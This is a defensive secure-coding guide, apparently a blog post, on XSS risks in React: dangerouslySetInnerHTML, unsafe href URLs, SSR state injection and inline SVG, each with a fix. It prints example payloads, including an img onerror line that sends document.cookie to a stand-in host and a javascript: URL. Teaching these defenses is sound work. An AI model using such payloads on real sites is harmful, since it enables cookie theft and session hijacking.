How to Prevent XSS Vulnerabilities in React Apps: Common Mistakes and Fixes

React has a reputation for being safe by default against Cross-Site Scripting (XSS) attacks. And it’s mostly true: JSX automatically escapes values before injecting them into the DOM. But “mostly safe” is not “always safe.” Every year, real React apps ship to production with XSS holes wide open, usually because developers reach for an escape hatch without understanding the risk.

In this guide, we’ll walk through the most common XSS vulnerabilities in React applications, show you the vulnerable code, and give you a clean fix you can copy into your codebase today.

What Is XSS and Why Should React Developers Care?

Cross-Site Scripting (XSS) is an attack where a malicious actor injects JavaScript into a page that other users will load. Once executed in the victim’s browser, that script can steal cookies, hijack sessions, scrape sensitive data, or perform actions on behalf of the user.

React escapes string values rendered in JSX, which neutralizes the most basic injection attempts. For example, this is safe:

function Greeting({ name }) {
  return <h1>Hello, {name}!</h1>;
}
// Even if name = '<script>alert(1)</script>', it renders as text.

However, React’s protection stops the moment you:

  • Use dangerouslySetInnerHTML
  • Inject user data into URLs (href, src)
  • Render server-supplied JSON that contains markup
  • Use third-party libraries that touch the DOM directly
  • Server-side render unescaped state into the HTML payload

Let’s break down each of these vectors.

react code security

1. Misusing dangerouslySetInnerHTML

The name is a warning. dangerouslySetInnerHTML bypasses React’s escaping entirely, which means anything you pass in is rendered as raw HTML.

The Vulnerable Code

function ArticleBody({ post }) {
  return (
    <div
      dangerouslySetInnerHTML={{ __html: post.content }}
    />
  );
}

If post.content comes from a user (comments, CMS, profile bio), an attacker can submit:

<img src=x onerror="fetch('https://evil.tld/c?='+document.cookie)">

And every visitor running that component will leak data.

The Fix: Sanitize With DOMPurify

import DOMPurify from 'dompurify';

function ArticleBody({ post }) {
  const clean = DOMPurify.sanitize(post.content, {
    USE_PROFILES: { html: true }
  });

  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Better yet: ask yourself if you really need HTML. If the content can be rendered as Markdown or plain text, do that instead and never touch dangerouslySetInnerHTML.

2. Unsafe URL Handling in href and src

This is the most overlooked XSS vector in React. JSX will happily render a javascript: URL because, from React’s perspective, it’s just a string attribute.

The Vulnerable Code

function UserLink({ user }) {
  return <a href={user.website}>Visit site</a>;
}

If user.website is javascript:alert(document.cookie), clicking the link executes the payload.

The Fix: Validate the Protocol

const SAFE_PROTOCOLS = ['http:', 'https:', 'mailto:', 'tel:'];

function safeUrl(input) {
  try {
    const url = new URL(input, window.location.origin);
    return SAFE_PROTOCOLS.includes(url.protocol) ? url.href : '#';
  } catch {
    return '#';
  }
}

function UserLink({ user }) {
  return <a href={safeUrl(user.website)} rel="noopener noreferrer">Visit site</a>;
}

Always pair external links with rel="noopener noreferrer" to prevent tab-nabbing.

react code security

3. Injecting JSON Into Server-Rendered HTML

If you use Next.js, Remix, or any SSR framework, you’ve probably hydrated client state by inlining JSON into the HTML:

The Vulnerable Code

<script>
  window.__STATE__ = ${JSON.stringify(state)};
</script>

If state contains a string with </script>, the attacker can break out of the script tag and inject anything they want.

The Fix: Escape Dangerous Characters

function safeJson(value) {
  return JSON.stringify(value)
    .replace(/</g, '\\u003c')
    .replace(/>/g, '\\u003e')
    .replace(/&/g, '\\u0026')
    .replace(/\u2028/g, '\\u2028')
    .replace(/\u2029/g, '\\u2029');
}

Most modern frameworks do this for you. If you’re rolling your own SSR, don’t skip it.

4. Rendering SVG From Untrusted Sources

SVG files can contain <script> tags. If you let users upload SVGs and render them inline, you have an XSS hole.

The Fix

  • Serve user-uploaded SVGs as <img src="..."> rather than inlining them (browsers won’t execute scripts in SVGs loaded via img).
  • If you must inline, sanitize with DOMPurify.sanitize(svg, { USE_PROFILES: { svg: true, svgFilters: true } }).
react code security

5. Third-Party Components That Touch the DOM

Rich text editors, charting libraries, and tooltip libraries sometimes accept HTML strings as props. Treat every such prop as a potential dangerouslySetInnerHTML.

Audit your dependencies. Run npm audit regularly, and check whether any library accepts HTML input you forward from users.

Quick Reference: Vulnerability vs Fix

Attack Vector Risk Level Fix
dangerouslySetInnerHTML with user data Critical Sanitize with DOMPurify or avoid entirely
User-supplied URLs in href/src High Whitelist protocols (http, https, mailto)
SSR state injection High Escape <, >, & in JSON output
Inline user SVG Medium Serve via <img> or sanitize SVG
Third-party HTML props Medium Audit dependencies, sanitize input
AI-generated code (LLM output) Emerging Never render LLM output as HTML without sanitization
react code security

Defense in Depth: Add a Content Security Policy

Even with clean code, mistakes happen. A strong Content Security Policy (CSP) acts as a safety net. A minimal starting CSP for a React app:

Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.yourdomain.com;
  frame-ancestors 'none';
  base-uri 'self';

Avoid 'unsafe-inline' on script-src. If you need inline scripts for SSR hydration, use nonces or hashes.

A Practical Checklist for Your Next PR Review

  1. Search the diff for dangerouslySetInnerHTML. Justify every occurrence.
  2. Search for href={ and src={ on user-provided values. Confirm protocol validation.
  3. Check that any HTML coming from an API or CMS is sanitized server-side AND client-side.
  4. Verify CSP headers are deployed and not weakened with unsafe-inline or unsafe-eval.
  5. Run npm audit and update vulnerable dependencies.
  6. Use ESLint with eslint-plugin-react and eslint-plugin-security to catch common mistakes automatically.

FAQ

Is React immune to XSS?

No. React escapes values rendered as children in JSX, which blocks the most common injection attempts. But dangerouslySetInnerHTML, unsafe URL attributes, SSR state injection, and third-party libraries can still introduce XSS.

Do I need DOMPurify if I use React?

Only if you render HTML from untrusted sources. If your app never uses dangerouslySetInnerHTML, you may not need it. The moment you do, DOMPurify is the industry standard sanitizer.

Are Next.js and Remix safer than plain React for XSS?

They handle SSR state serialization safely out of the box, which removes one class of bugs. But application-level issues (dangerouslySetInnerHTML, URL handling) still apply.

Can XSS happen through React props?

Yes, if a component forwards a user-controlled string into dangerouslySetInnerHTML, an href, or an HTML-accepting third-party component. The vector is the sink, not the prop itself.

What about XSS from AI-generated content?

This is a growing concern in 2026. If your app renders LLM output as HTML or executes generated code on the client, treat it as untrusted user input and sanitize accordingly.

Final Thoughts

React gives you a great baseline, but security is not automatic. The vast majority of XSS in React applications comes down to two patterns: rendering raw HTML and trusting user-supplied URLs. Fix those two, add a CSP, sanitize anything that touches the DOM, and you’ll eliminate almost every realistic XSS risk in your codebase.

Security is a habit, not a feature. Make these checks part of every code review, and your React app will stay safe as it scales.